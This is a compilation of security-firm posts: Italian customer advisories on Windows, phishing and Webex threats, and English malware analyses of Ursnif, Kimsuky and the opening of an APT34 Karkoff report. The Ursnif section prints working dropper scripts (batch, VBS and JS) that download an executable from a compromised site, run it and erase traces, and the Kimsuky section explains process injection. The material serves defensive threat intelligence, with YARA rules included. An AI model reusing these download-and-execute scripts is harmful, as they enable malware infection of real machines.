Vulnerabilità 0Day su Microsoft Windows

Proto: N050320.

Con la presente Yoroi desidera informarla riguardo a due importanti vulnerabilità 0day all’interno dei sistemi operativi Microsoft Windows che affliggono le alcune funzionalità di sistema per il caricamento dei font testuali.

La problematica è causata da lacune nella gestione della memoria durante il caricamento di dei font all’interno delle librerie Adobe Type Manager (ATMFD.DLL), utilizzate dal sistema operativo per la visualizzazione di messaggi di testo, documenti, anteprime e pagine web. Un attaccante remoto può sfruttare queste lacune per eseguire codice arbitrario sulla macchina bersaglio convincendo l’utente a prendere visione di un documento, oppure semplicemente visualizzandone l’anteprima da Windows Explorer o Outlook, infettando così la macchina bersaglio ed installandovi impianti malware.  

Microsoft ha confermato la problematica attraverso il bollettino ADV200006 e sta lavorando al rilascio delle patch di sicurezza. Risultano afflitte le versioni del sistema operativo Microsoft Windows:

Le vulnerabilità in oggetto sono attualmente sfruttate da gruppi APT potenzialmente sponsorizzati da governi nazionali per la conduzione di operazioni di attacco mirate. Tradizionalmente, questa tipologia di attaccanti mira a penetrare organizzazioni ritenute strategiche per gli interessi nazionali, frequentemente in settori Energetico, Difesa, Oil & Gas (e non solo). Tuttavia, considerando l’emergenza sanitaria COVID-19 in atto ed i recenti tentativi di intrusione cibernetica registrati dalla World Health Organization (WHO), Yoroi consiglia di ritenere parte di questa categoria anche Centri di Ricerca medici, Healthcare, organizzazioni umanitarie ed industria del Farmaco.

Pertanto, Yoroi consiglia di monitorare il prossimo rilascio degli aggiornamenti di sicurezza di Microsoft e, nel frattempo, valutare l’applicazione delle mitigazioni temporanee indicate dal Produttore al parco macchine Aziendale, ovvero:

Yoroi consiglia infine di mantenere alto il livello di consapevolezza degli utenti, avvisandoli periodicamente delle minacce in corso e di utilizzare un team di esperti per salvaguardare la sicurezza del perimetro “cyber”. Per avere un indice di minaccia in tempo reale si consiglia di visitare il seguente link: Yoroi Cyber Security Index

Yoroi Supporta la Raccolta Fondi di FDR per gli Ospedali

La nostra azienda, Yoroi Srl, supporta la Campagna di FiordiRisorse "Un Respiro Per" per l'acquisto di presidi medici (mascherine e respiratori) per gli ospedali in difficoltà.

Per maggiori informazioni e per partecipare alla raccolta fondi visita la pagina dedicata di FiordiRisorse: LINK

Incremento delle Campagne a Tema CoronaVirus

Proto: N040320.

Con la presente Yoroi desidera informarla riguardo all’incremento delle campagne di attacco email che sfruttano l’emergenza CoronaVirus per ingannare le vittime ad aprire allegati e link malevoli. Negli ultimi giorni abbiamo osservato più ondate relative a comunicazioni di questo tipo operati da vari attaccanti negli ambiti cyber criminali. Tra di essi riscontriamo anche tentativi di installazione del malware Trickbot: negli scorsi mesi utilizzato anche per l’inoculazione di ulteriori impianti di malware atti ad operare attacchi ransomware mirati (e.g. Ryuk).

A questo proposito, Yoroi consiglia di avvertire le Vostre utenze relativamente alla possibile ricezione di comunicazioni malevole di questo tipo, suggerendo di trattarle con maggiore cautela ed, eventualmente, di domandare supporto in caso di dubbi a seguito della ricezione di email inattese relative all’emergenza COVID-19 in atto.

Di seguito riportiamo le caratteristiche di alcuni dei messaggi fraudolenti monitorati nell'ultimo periodo (oggetti, mittenti e nomi allegato):

In relazione alle recenti campagne di propagazione in ambito italiano, riportiamo invece alcuni degli indicatori di compromissione rilevati:

Yoroi consiglia infine di mantenere alto il livello di consapevolezza degli utenti, avvisandoli periodicamente delle minacce in corso e di utilizzare un team di esperti per salvaguardare la sicurezza del perimetro “cyber”. Per avere un indice di minaccia in tempo reale si consiglia di visitare il seguente link: Yoroi Cyber Security Index

Incremento Campagne Tematizzate COVID-19

Proto: N040320_G.

Con la presente Yoroi desidera informare riguardo all’incremento delle campagne di attacco che utilizzano la posta elettronica come vettore di trasporto della minaccia e che sfruttano, come soggetto di adescamento l’emergenza CoronaVirus per ingannare le vittime e spingerle ad aprire allegati e link malevoli.

Si tratta certamente di attività riconducibili al fenomeno Phishing ma molto ben costruite e che sfruttano il momento storico ed il timore che pervade moltissime persone che, vedendo il soggetto, potrebbero inconsapevolmente abbassare il livello di attenzione per il desiderio di tenersi informate.

Negli ultimi giorni abbiamo osservato più ondate relative a comunicazioni di questo tipo operati da vari attaccanti negli ambiti cyber criminali. Tra di essi riscontriamo anche tentativi di installazione di un particolare Malware (Trickbot) responsabile in diverse maniere di enormi danni riportati dalle vittime in termini di perdita di dati dovuti alla cifratura degli stessi con conseguente richiesta di riscatto (Ransomware).

Si prega, soprattutto i non addetti ai lavori che probabilmente sono già informati riguardo a questo genere di minacce, di prestare una grande attenzione verso la possibile ricezione di comunicazioni di questo tipo, suggerendo di trattarle con maggiore cautela.

In caso di dubbi invitiamo ad utilizzare i servizi gratuiti offerti da Google (VirusTotal) e Yoroi (Yomi the Malware Hunter) per verificare la possibile pericolosità di un allegato. Di seguito riportiamo a titolo esemplificativo le caratteristiche di alcuni dei messaggi monitorati nell'ultimo periodo (oggetti, mittenti e nomi allegato):

“Covid Ab”“The above is safe notification from ““CORONA TREATMENT.doc”"MyHealth.exe”
“Coronavirus: Informazioni importanti su precauzioni”
Corona-virus-Map.com.exe” "Dr. Penelope Marchetti" “Face mask and Forehead thermometer.exe”
“AWARENESS NOTICE ON CORONAVIRUS(COVID-19)”“f<DIGITS>.doc”CoronaVirusSafetyMeasures_pdfCENTER FOR DISEASE CONTROL & MANAGEMENT.doc
“i<DIGITS>.doc”  “Re: SAFTY CORONA VIRUS AWARENESS WHO” “Coronavirus Updates.” “corona.exe” 
"World Health Organization" 


Yoroi non si ferma.

Gentili Clienti, Cari Amici e Partner,

a partire dai primi momenti della crisi COVID-19 il nostro Team sta affrontando la situazione con la massima attenzione e senso di responsabilità possibili. In questo momento così delicato, il nostro pensiero va innanzitutto a coloro che sono stati colpiti dal virus e a tutto il personale sanitario che combatte contro di esso.

Abbiamo cambiato le nostre abitudini e la nostra vita quotidiana seguendo le indicazioni ricevute al fine di tutelare i nostri clienti, dipendenti, collaboratori e fornitori adottando tutte le misure possibili per contrastare e contenere la diffusione del virus. Data anche la particolare natura dei servizi che eroghiamo, la nostra passione e il nostro lavoro però non si fermano: grazie all’organizzazione e alla tecnologia riusciamo a continuare a garantire assistenza e vicinanza a tutti Voi. 

I nostri Analisti e il nostro staff sono sempre operativi e raggiungibili, e continueranno quindi a garantire i consueti standard di massima qualità, tempestività ed efficienza. Abbiamo un piano di continuità consolidato e una capacità di lavoro agile integrata che ci consente di supportarvi come prima dell’emergenza. La salute dei nostri dipendenti, il benessere della collettività e l’eccellenza nell’assistenza ai clienti rappresentano per noi una priorità assoluta.

Ci auguriamo che tutto quanto è stato messo in campo dalle istituzioni al fine di contenere e fermare l’avanzata del virus abbia successo, noi continuiamo ad essere al vostro fianco e al fianco dell’Italia che non può fermarsi, certi che andrà tutto bene.

Marco Ramilli e lo staff di Yoroi.

Ursnif Campaign Targets Italy with a New Infection Chain

Introduction

Ursnif is one of the most and widespread common threats today delivered through malspam campaigns. It appeared on the threat landscape about 13 years ago and gained its popularity since 2014 when its source code was leaked online giving the opportunity to several threat actors to develop their own version.

For months, Italian users have been targeted by Ursnif malicious campaigns and Cybaze-Yoroi Zlab have closely observed these campaigns in order to track the evolution of TTPs and the sophistication of the infection chains. In almost all the campaigns identified by the researchers it is possible to notice a massive usage of powershell as  dropper stagers,

This time, Cybaze-Yoroi ZLab intercepted a new Ursnif campaign targeting Italian users that relies on an Italian compromised website that acts as a DropUrl, it also shows a novelty usage of Javascript, batch files and SFX archives, refining the malware’s infection chain.

Figure 1: Ursnif Infection Chain

Technical Analysis

This brand new Ursnif campaign is delivered as a malicious mail containing a password protected document:

Hashe9697d963d66792a91991e64537707a94f466421615277d91675b83a408eef93
ThreatUrsnif document dropper
Brief DescriptionUrsnif Document Dropper Password Protected
Ssdeep12288:9ZPntL7GQw8jzl7v4MvvnaTiIY11jTW84LYMdX9:ftXGxQ7vBvvnjVbTWthdt

Table 1. Sample information

Once the Microsoft Word document is opened, it will ask for a password to enable the opening of the document:

Figure 2: Request of the password inside the document

This technique to protect the document with a password continues to be a very effective method to evade detection of AVs. In fact, at the time of writing, the AV score is zero.

Figure 3: VirusTotal detection rate

Once provided the correct password, the document proceeds with the sophisticated infection chain. Then the  malware enables the execution of an initial batch file:

Figure 4: Piece of the BAT file

The batch file is easy to read, also with the junk numbers placed inside the code. After cleaning the script looks like this:

set HyperX=C:\DiskDrive\1\Volume\BackFiles\pinumber.vbsecho Dim mySettings1, mySettings2, mySettings3, mySettings4, mySettings5, concept, Gear >> %HyperX%echo On Error Resume Next >> %HyperX%echo. >> %HyperX%echo Set mySettings1 = Wscript.Arguments >> %HyperX%echo Set mySettings2 = CreateObject("WinHttp.WinHttpRequest.5.1") >> %HyperX%echo mySettings5 = mySettings1(0) >> %HyperX%echo concept = mySettings1(1) >> %HyperX%echo. >> %HyperX%echo mySettings2.Open "GET", mySettings5, False >> %HyperX%echo mySettings2.Send >> %HyperX%echo Gear = mySettings2.Status >> %HyperX%echo. >> %HyperX%echo If Gear ^<^> 200 Then >> %HyperX%echo    WScript.Quit 1 >> %HyperX%echo End If >> %HyperX%echo. >> %HyperX%echo Set mySettings4 = CreateObject("ADODB.Stream") >> %HyperX%echo mySettings4.Open >> %HyperX%echo mySettings4.Type = 1 >> %HyperX%echo mySettings4.Write mySettings2.ResponseBody >> %HyperX%echo mySettings4.Position = 0 >> %HyperX%echo. >> %HyperX%echo Set mySettings3 = CreateObject("Scripting.FileSystemObject") >> %HyperX%echo If mySettings3.FileExists(concept) Then mySettings3.DeleteFile concept >> %HyperX%echo mySettings4.SaveToFile concept >> %HyperX%echo mySettings4.Close >> %HyperX%cscript //nologo C:\DiskDrive\1\Volume\BackFiles\pinumber.vbs http://tealex.it/colorex/somatrex.php C:\DiskDrive\1\Volume\BackFiles\Hikerio.exebreak>C:\DiskDrive\1\Volume\BackFiles\pinumber.vbshell -C Sleep -s 4;Saps 'C:\DiskDrive\1\Volume\BackFiles\Hikerio.exe'

Code snippet 1

The script creates a new file named “pinumber.vbs” and starts filling it with the instructions through the “echo” function appending the strings to the next vbs stage. The instructions will be commented on in the next stage of the malware infection.

Then the Visual Basic script will be stored in that unusual path:

Dim mySettings1, mySettings2, mySettings3, mySettings4, mySettings5, concept, Gear On Error Resume Next  Set mySettings1 = Wscript.Arguments Set mySettings2 = CreateObject("WinHttp.WinHttpRequest.5.1") mySettings5 = mySettings1(0) concept = mySettings1(1)  mySettings2.Open "GET", mySettings5, False mySettings2.Send Gear = mySettings2.Status  If Gear <> 200 Then    WScript.Quit 1 End If  Set mySettings4 = CreateObject("ADODB.Stream") mySettings4.Open mySettings4.Type = 1 mySettings4.Write mySettings2.ResponseBody mySettings4.Position = 0  Set mySettings3 = CreateObject("Scripting.FileSystemObject") If mySettings3.FileExists(concept) Then mySettings3.DeleteFile concept mySettings4.SaveToFile concept mySettings4.Close 

Code Snippet 2

Another relevant element to notice in “Code Snippet 1”, is the presence of the DropURL provided as an argument to the “Code snippet 2” and used to download the next stages.

In order to use a VBS script to download the next stage, the malware loads two Objects, "WinHttp.WinHttpRequest.5.1" and "ADODB.Stream" which allow the script to download the required component from the DropURL. This time the DropURL is an Italian compromised law-themed website. The crooks have previously hacked the website and leveraged it to install a webshell on it and finally spread malware. An evidence about the presence of the malicious file hosted on the legit website is shown in the following figure:

Figure 5: Communication with the DropUrl

The SFX module

The downloaded file, as previously mentioned, is a Self Extracting Archive (SFX/SEA). Basic information about the sample are provided below: 

Hash15db7230bb8a6a1a9e8a7fa319220622e35a3bdaf75307280ef3b6c6b514d697
ThreatUrsnif SFX packer
Brief DescriptionUrsnif SFX Packer
Ssdeep24576:120gPgFKEGQNXSAHpZIAcq0vFwKTqSmtLeStyRM3Jk6:MKVNCAHp/b07grIRGk6

Table 2. Sample information about the ursnif SFX Packer

Exploring the SFX, it is possible to see its content. In the archive, five files with different extensions are stored. Once executed, the first file that  runs is “Dwsil23j.vbs”, as described in the archive configuration on the right of the following figure.  

Figure 6: Content of The SFX file

The content of the VBS script previously mentioned is very trivial: its only purpose is to run “setcong.bat”, a batch script even contained in the SFX archive.  

Set WshShell = CreateObject("WScript.Shell") WshShell.Run "setcong.bat", 0, false

Code Snippet 3

The content of “setcong.bat” batch file is the following: 

@Echo off
timeout 3
rename driver3213.sys plugin.rar"lsassc.exe" e -pControl plugin.rartimeout 5start sillent.vbstimeout 4del /f /q "setcong.bat"del /f /q "plugin.rar"del /f /q "C:\Users\mycomp\Desktop\inst.exe"@exit

Code Snippet 4

In the figure 6 is reported the content of the SFX archive, we can also notice the presence of the file “driver3213.sys which appears as a driver, but that hides a different content. The file is immediately renamed into “plugin.rar” and extracted through the “lsassc.exe” utility, which is actually a legit routine aimed at extracting other components. The “plugin.rar” is extracted using the password “Control” in this way:

Figure 7: Extraction and content of “plugin.rar” file

The “plugin.rar” archive content

At this point, the script shown in Code Snippet 4 launches the “silent.vbs” script contained inside the “plugin.rar” archive, the script is able to cover tracks deleting some files no longer useful.

The content of the “silent.vbs” archive is the following:

Set WshShell = CreateObject("WScript.Shell")WshShell.Run "C:\ASPNET\Terminaled\data.bat", 0, false

Code Snippet 5

Using the same technique shown in Code Snippet 3, “silent.vbs” script has the only purpose to launch the “data.bat” file just extracted from “plugin.rar” archive:

@echo offattrib +s +h "C:\ASPNET\Terminaled"
timeout 2set lkpzaffqx=C:\ASPNET\Terminaledset cdeefyxbe=javagh.jsjavagh.js /starttaskkill /f /im lsassc.exetaskkill /f /im lsassc.exeattrib -s -h "C:\ASPNET\Terminaled\javagh.js"timeout 4del "C:\ASPNET\Terminaled\Dwsil23j.vbs"del "C:\ASPNET\Terminaled\javagh.js"del "C:\ASPNET\Terminaled\lsassc.exe"del "C:\ASPNET\Terminaled\sillent.vbs"del "C:\ASPNET\Terminaled\plugin.rar"del "C:\ASPNET\Terminaled\data.bat"del /q "C:\ASPNET\Terminaled*.*"rd "C:\ASPNET\Terminaled"@exit

Code Snippet 6

The bat script executes the “javagh.js” stager after forcing the kill of the previous “.rar” archive and finally removes all the traces through the deletion of all files contained in the folder at “C:\ASPNET\Terminaled\” path. 

The content of the JS script is reported below:

WShell = new ActiveXObject('WScript.Shell');var cr = 2;var df = new ActiveXObject("Scripting.FileSystemObject");var tmp = df.GetSpecialFolder(cr) + '///';
function decodeBase64(a) {    var b = new ActiveXObject("Microsoft.XMLDOM");var c = b.createElement("tmp");    c.dataType = "bin.base64";c.text = a;return c.nodeTypedValue;}
function writeBytes(a, b) {     var c = 1;    var d = new ActiveXObject("ADODB.Stream");d.Type = c;    d.Open();    d.Write(b);    d.SaveToFile(a);}
function writeBase64FileInTemp(a, b) {    var c = 2;    var d = new ActiveXObject("Scripting.FileSystemObject");    var e = d.GetSpecialFolder(c) + "///" + b;    if (d.FileExists(e)) {return e;}    else {        writeBytes(e, decodeBase64(a));        return e;   }}
var picture = "BASE64-PAYLOAD1";var server = "BASE64-PAYLOAD2";
writeBase64FileInTemp(picture, "scvhoster.exe");WShell.run(tmp + "scvhoster.exe");

Code snippet 7

This is the last stage of the infection chain. The JS module has got two embedded payloads encoded in Base64 without any type of encryption and any type of obfuscation. The variable named “server” is not referenced by the other code inside the script. However, we decided to take a look inside the executable. The executable is written in .NET and, through a static analysis we discovered a fake Office Update, as shown in the following screen:

Figure 8: Screen of the server.exe file

As previously mentioned, the .exe is never called in the code, so we put our attention on the second payload contained in the variable named “picture”. Once executed, the program has been renamed in “scvhoster.exe” which is nothing but the Ursnif payload already described in other our report. It performs the classic injection technique through “rundll32.exe”, using “iexplore” as host process. After that, all the information about compromised machine are sent over the HTTP protocol using a GET method:

Figure 9: Example of communication with the C2

Unfortunately, at the time of the analysis, the C2 did not correctly respond and the payload does not send to the C2 the configuration about the infection on the victim machine. However, digging inside the memory process, we found the key “fiwDZ5p05nCx1JSA” used to encrypt the configuration string:

Figure 10: Key of the configuration string of Ursnif version

After the decryption phase, as masterfully explained by Fortinet Labs,the string containing all the parameters sent in clear mode looks like following:

type=0&soft=3&version=300854&user=024fd34c2d0f4520be46c31a267d42f4&group=202003111&id=8576b0d0&arc=0&crc=00000000&uptime=10243

Code Snippet 8

Conclusion

In one of our previous analyses, we published a comparative table that tracks the evolution of the TTPs used to spread and deliver the malware. We observed the constant presence of heavily obfuscated Powershell scripts, but this campaign appears different because operators abandoned it in favour of VBS and JS scripts. Our threat intelligence and threat hunting activities confirm this new trend, attackers use javascripts as a multistage loader.

The changes in the TTPs could be caused by:

Our constant threat monitoring intelligence aims at tracking the evolution of the modus operandi of these Cyber Threats and at providing the best protection to our clients. 

Figure 11: Update of the comparative table of the Ursnif TTPs

Indicators of Compromise

Yara Rules

rule loaderDOC_Ursnif_March_2020 {
meta:
      description = "Yara rule for Ursnif DOC loader - March Campaign"
      hash = "e9697d963d66792a91991e64537707a94f466421615277d91675b83a408eef93"
      author = "Cybaze - Yoroi  ZLab"
      last_updated = "2020-03-16"
      tlp = "white"
      category = "informational"
    
strings:
	$s1 = "A4$D#"
	$s2 = "[w:|(ee"
	$s3 = "}8&+<n"
	$s4 = "8wk<\"J*f"
	$s5 = "mB/@a_"
	$s6 = {DF 30 AB AD 9B 45 69 F2}
	$s7 = {94 B0 D7 0F BF 97 C9 E0}
	$s8 = {DA 79 E7 E6 2F 94 0E 8C}
	$s9 = {18 A9 17 7A 10 3B 2E EA}
	$s10 = {63 21 04 02 A5 1E CD 95}
	  
condition:
	6 of ($s*)
}

import "pe"
rule payload_EXE_Ursnif_March_2020 {
meta:
      description = "Yara rule for Ursnif payload - March Campaign"
      hash = "a4bbf7654331415c4f7d0306066ececa014a27d706deca83bd7113ad4cd28d2e"
      author = "Cybaze - Yoroi  ZLab"
      last_updated = "2020-03-16"
      tlp = "white"
      category = "informational"
    
strings:
	$s1 = "t49B(t/"
	$s2 = "NtQueryVirtualMemory"
	$s3 = "=%#Si9"
	$s4 = "~e?bo3r8mod4^s"
	$s5 = "8wdyw8e9dtew89dtew"
	$s6 = {E6 D9 E8 D6 E9 8D 9E 8D}
	$s7 = {F1 83 99 61 B9 0F A3 0E}
	$s8 = {D3 E0 83 C7 04 03 D8 4E}
	$s9 = {12 8B 01 0F B6 10 40 89}
	$s10 = {D6 20 C3 9B 79 DA C3 7C}
	  
condition:
	uint16(0) == 0x5A4D and 4 of($s*) and pe.imphash() == "c7f457269137f2e5ebe199ab9f32eada"
}

This blog post post was authored by Davide Testa, Luigi Martire, Antonio Pirozzi and Pierluigi Paganini.

Gravi Vulnerabilità in Cisco Webex

Proto: N020320.

Con la presente Yoroi desidera informarla riguardo alla recente scoperta di importanti vulnerabilità all’interno di Cisco Webex, noto sistema di teleconferenza Cisco particolarmente diffuso in ambienti Enterprise ed in realtà Aziendali di Medie dimensioni. Le criticità sono note con l’identificativo CVE-2020-3127 e CVE-2020-3128.

La problematica è originata da lacune nella gestione di alcuni formati di registrazione all’interno delle componenti “Webex Network Recording Player” e “Cisco Webex Player”, attraverso le quali un attaccante in grado di recapitare particolari file multimediali ARF o WRF (Webex Recording Format) alla vittima, può eseguire codice arbitrario sulla macchina bersaglio, installando impianti malware e backdoor nei dispositivi aziendali.

Il Vendor ha confermato le problematiche attraverso il bollettino CISCO-SA-20200304-WEBEX-PLAYER, rilasciando patch di sicurezza per le versioni Windows di:

Considerando la potenziale diffusione delle tecnologie afflitte ed il recente trend di potenziamento delle soluzioni di telelavoro e smart working che molte organizzazioni stanno attuando in risposta all’emergenza COVID19, Yoroi consiglia di appurare lo stato di aggiornamento delle installazioni Cisco Webex all’interno del Vostro parco macchine client, e di pianificare l’applicazione delle patch di sicurezza rese disponibili dal Produttore.  

Yoroi consiglia infine di mantenere alto il livello di consapevolezza degli utenti, avvisandoli periodicamente delle minacce in corso e di utilizzare un team di esperti per salvaguardare la sicurezza del perimetro “cyber”. Per avere un indice di minaccia in tempo reale si consiglia di visitare il seguente link: Yoroi Cyber Security Index.

The North Korean Kimsuky APT keeps threatening South Korea evolving its TTPs

Introduction

Recently we have observed a significant increase in state-sponsored operations carried out by threat actors worldwide. APT34, Gamaredon, and Transparent Tribe are a few samples of the recently uncovered campaigns, the latter was spotted after four years of apparent inactivity. Cybaze-Yoroi ZLab decided to study in depth a recent threat attributed to a North Korean APT dubbed Kimsuky.

Figure 1: tweet on 28 February 2020

The Kimsuky APT group has been analyzed by several security teams. It was first spotted by Kaspersky researcher in 2013, recently its activity was detailed by ESTsecurity.

We decided to analysed the activity of the group after noticing a tweet of the user “@spider_girl22” in February 28th 2020.

Technical Analysis

Unlike other APT groups using long and complex infection chains, the Kimsuky group leverages a shorter attack chain, but at the same time, we believe it is very effective in achieving a low detection rate.

The infection starts with a classic executable file with “scr” extension, an extension used by Windows to identify Screensaver artifacts. In the following table are reported some information about the sample.

Hash757dfeacabf4c2f771147159d26117818354af14050e6ba42cc00f4a3d58e51f
ThreatKimsuky loader
Brief DescriptionScr file, initial loader
Ssdeep12288:APWcT1z2aKqkP/mANd2JiEWKZ52zfeCkIAYfLeXcj6uuLl:uhT1z4q030JigZUaULeXc3uLl

Table 1: Information about initial loader with .scr extension

Upon execution, the malware writes a file named “<random_name>.tmp.db” inside the “%AppData%\Local\Temp” path through the usage of the Microsoft Utility “regsvr32.exe”.

Figure 2: Written file (AutoUpdate.dll) in the “%AppData%\Local\Temp” path

Despite the “.db” extension, the written file is actually a well formed DLL that acts as the second stage of the malware infection. Static information of DLL are shown below:

Hashcaa24c46089c8953b2a5465457a6c202ecfa83abbce7a9d3299ade52ec8382c2
ThreatKimsuky second stage
Brief DescriptionDLL used by the Kimsuky group as second stage
Ssdeep6144:6lhe64TNUalJMRRfS5mABlakVxOfLnePfcNl6GwUDuL/:6zfeCkIAYfLeXcj6uuL

Table 2: AutoUpdate.dll Information

The dll is then copied into the folder “%AppData%\Roaming\Microsoft\Windows\Defender\” and it is renamed into “AutoUpdate.dll”. 

The “AutoUpdate.dll” library then gains persistence by setting the following registry key “HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\WindowsDefender”. The name and the path used by the attacker is absolutely tricky, because they reference to Windows Defender:

Figure 3: registry key set for persistence .

Furthermore, exploring the content of the folder “%AppData%\Local\Temp” path, we observed another temporary file created and immediately removed dubbed “<random_name>.tmp.bat”. By analyzing its contents, we noticed that it is used to delete the initial artifact (scr) and file itself.

Figure 4: Content of the bat script.

In order to hide the malicious operation and avoid raising suspicion, a legit document is created in the same folder containing the “.scr” file, the document is named “이력서 양식.hwp”. Translating its name from Korean to English language, is possible to obtain the “CV Form” string. The name and other information about the document are the following:

Hashd21523b7b8f6584305a0a6a83cd65c8ce0777a42ab781c35aa06c46c91f504b4
ThreatKimsuky legit document
Brief DescriptionLegit document used to divert attention on the malware in “hwp” extension
Ssdeep192:zXEKVs7kRvm+1FsO2ui/VpIkCnH5QVSV9VahhU:r3YkA+1aJukWQVS9avU

Table 3: Information about legit document with “.hwp” extension

As implied by the file name (CV Form), the document contains a CV form with empty fields, as shown in the following figure.

Figure 6: Legit document overview

Bypassing AV Detection

An interesting behaviour is the “explorer.exe” injection performed by the “AutoUpdate.dll” in order to avoid AVs detection. Digging in the malicious code, it is possible to see the methods used to perform this operation. First of all, the malware sets the right privileges, as reported in the following image.

Figure 7: Privilege set for the correct injection

Once obtained the necessary privileges, the malware is able to proceed with the injection. As described by the analysis published by elastic, the malware writes the path to its malicious DLL in the virtual address space of another process through the “VirtualAllocEx” function. In this case, the target process is “explorer.exe”, it ensures the remote process loads it by creating a remote thread inside it. 

To perform these operations, first of all the malware needs to know the Process ID of the target, this is performed through the navigation of all processes tree. This task can be executed using the Tool Help Library Windows API family using CreateToolhelp32Snapshot()Process32First(), and Process32Next() API. Then, the malware calls VirtualAllocEx() to allocate a space to write the path to the malicious DLL, then it calls WriteProcessMemory()  to write the DLL path inside the allocated memory. 

After that, the malware calls the CreateRemoteThread() API to link the thread newly created to the host process (explorer.exe). Parts of the described logic are shown in the below figure:

Figure 8: API used for injection

Two components are implanted in the “explorer.exe” process. In the following tables are presented some information about the two DLLs extracted.

Hashbbad65136d73cbd5262bc88571677b5434ceb54fc1103f2133757dae2ec4b47b
ThreatInjected DLL
Brief DescriptionFirst injected DLL
Ssdeep3072:AFSYAyju5JpkC7xfYZo9cPqvTV+ql4yFa+zB+K+H/kocFAQUG5R:AFJ0qC7xAZliT004+p10fkoefUG5

Table 4: Information about first DLLinjected  in explorer.exe process

Hash817ef0d9d3584977d1114b7e92012b653d339434a90967cbe8016899801f3751
ThreatInjected DLL
Brief DescriptionSecond injected DLL
Ssdeep3072:AFSYAyju5JpkC7xfYZo9cPqvTV+ql4yFa+zo+K+H/kocFAnRG5R:AFJ0qC7xAZliT004+p00fkoegRG5

Table 5: Information about second DLL injected in explorer.exe process 

Comparing the ssdeep of the two DLLs is possible to notice several overlaps between the two libraries, a circumstance that confirms a high “similarity” between them. Below are highlighted the different portions of the hash:

3072:AFSYAyju5JpkC7xfYZo9cPqvTV+ql4yFa+z +K+H/kocFAnRG5R:AFJ0qC7xAZliT004+p * 0fkoe * RG5

There are tiny differences between the DLLs as shown below performing a simple binary diffing analysis.

Due to these differences between the two DLLs, we decided to continue the analysis on one of them. Digging into the DLL, we notice that every time a function has to be performed by the malware, it relies on a recurrent decryption routine, which decodes the strings containing the actual instruction and executes it. An example of the decryption routine is reported in the following figure on top right:

Figure 10: Decryption flow graph

Figure 11: Parts of subroutines used to perform network communication

Every 15 minutes, the malware contacts the C2 (suzuki.]datastore.]pe.]hu) and sends back the information about the compromised machine, as reported in the previous figure. In particular, three HTTP requests are made using different URLs paths and different User-Agent fields for each request.  An example of the C2 registration is the following:

Figure 12: Network traffic performed by the malware 

Conclusion

During our Threat Intelligence activities, we discovered a new malware implant compatible with the previous campaigns of Kimsuky APT actor. According to the ESTsecurity firm, the initial dropper contains two malicious resources embedding the malicious DLLs, however, in our sample there aren’t.

Despite these little differences, we can affirm with good confidence that the Threat Actor is Kimsuky due to strong similarities with the TTPs.

Indicator of Compromise

Yara Rules

import "pe"
rule loader {
    meta:
      description = "Yara rule for the initial loader SRC"
      author = "Yoroi - ZLab"
      last_updated = "2020-03-02"
      tlp = "white"
      category = "informational"
    
strings:
      	$a1 = " goto Repeat1"
		$a2 = {84 58 43 F4 39 1B 96 32 E4 2D 63}
		$a3 = {89 04 4D 30 7A 05 10 41 EB E8 8B}
		$a4 = {80 A1 B2 F7 15 DE F0 7E 35 75}
		$a5 = {9C 0E 57 4C 77 B1 0E 06 08 5E}

	  
    condition:
      uint16(0) == 0x5A4D and pe.number_of_sections == 5 and 3 of ($a*) 
}

import "pe"
rule AutoUpdate_dll {
    meta:
      description = "Yara rule for the AutoUpdate_dll"
      author = "Yoroi - ZLab"
      last_updated = "2020-03-02"
      tlp = "white"
      category = "informational"
    
strings:
      	$a1 = {48 8B 3F 48 83 78 18 10 72}
		$a2 = {36 42 35 45 35 41 42 33 42 41 39}
		$a3 = { DD E7 FE DA C6 F7 F9 8D 7D F9 }
		$a4 = "1#SNAN"
		$a5 = "d$4D9L$t"
		$a6 = "DllRegisterServer"
		$a7 = "DllUnregisterServer"
	  
    condition:
      uint16(0) == 0x5A4D and pe.number_of_sections == 6 and (4 of ($a*)) 
}

import "pe"
rule injectedDLL {
    meta:
      description = "Yara rule for the injected DLL"
      author = "Yoroi - ZLab"
      last_updated = "2020-03-02"
      tlp = "white"
      category = "informational"
    
strings:
      	$a1 = {41 80 3E 5E 89 45 A4 75 08 49}
		$a2 = {60 03 50 02 30 58 68 01 00 70}
		$a3 = {98 F7 02 00 7B 44 00 00 91 44}
		$a4 = "/?m=b&p1="
		$a5 = "&p2=b"
		$a6 = "/?m=a&p1="
		$a7 = "AUAVAWH"
	  
    condition:
      uint16(0) == 0x5A4D and pe.number_of_sections == 6 and (4 of ($a*)) 
}

rule legit_DOC {
    meta:
      description = "Yara rule for the Legit DOC"
      author = "Yoroi - ZLab"
      last_updated = "2020-03-02"
      tlp = "white"
      category = "informational"
    
strings:
      	$a1 = "HWP Document File"
		$a2 = "UPcfZrc"
		$a3 = {D1 A9 30 1A 5D C1 16 41 15 DA DF 54}
		$a4 = {B4 D5 31 1B F9 66 7C 56 5A 15}
		$a5 = {30 30 F8 18 18 F8 00 00 E0 00 00 C8}
		$a6 = {DC 66 43 0C 53 00 65 00 63 00}
		$a7 = {05 00 48 00 77 00 70 00 53 00 75 00 6D 00 6D}
	  
    condition:
      all of them 
}

Karkoff 2020: a new APT34 espionage operation involves Lebanon Government

Introduction

In November 2018, researchers from Cisco Talos tracked and detailed a “DNSEspionage” campaign against targets in Lebanon and UAE. At the time of the report, the threat actor carried out a cyber espionage campaign by redirecting DNS traffic from domains owned by the Lebanon government to target entities in the country.

In April 2019, Cisco Talos discovered evidence of the link between APT34 (codename Helix Kitten or OilRig) and the “DNSEspionage” operation. Talos analysts discovered several overlaps in the infrastructure employed by attackers and identified common TTPs. They tracked this new implant “Karkoff”.

Experts from Cybaze/ Yoroi Zlab, as part of ordinary Threat Intelligence activities, spotted a new sample which they believe to be an update of the Karkoff implant. It could prove that  APT34 is still active and threat actors used it in a new campaign that appears to be active at the time of writing. The APT group made some changes in its technique, tactics, and procedures, but the target is the same, the Lebanon Government.

In this campaign, the APT group may have compromised a Microsoft Exchange Server belonging to a Lebanon government entity, in fact, we found some evidence in the communication logic.

This new implant has some similarities with the samples of Karkoff involved in past campaigns, including:

Moreover, the new Karkoff implant implements a new reconnaissance logic in order to drop the final payload only to specific targets, gathering system information, the domain name, hostname and running Operating System.

Update

A few hours before this report has been publicly disclosed, malware researchers at the Italian cyber security firm Telsy also published their analysis.

Both reports are related to the same sample, but let me suggest reading both analyses to have a clear vision of the threat actors and all the technical details related to the implant. The report published by Telsy is available here: LINK.

Technical Analysis

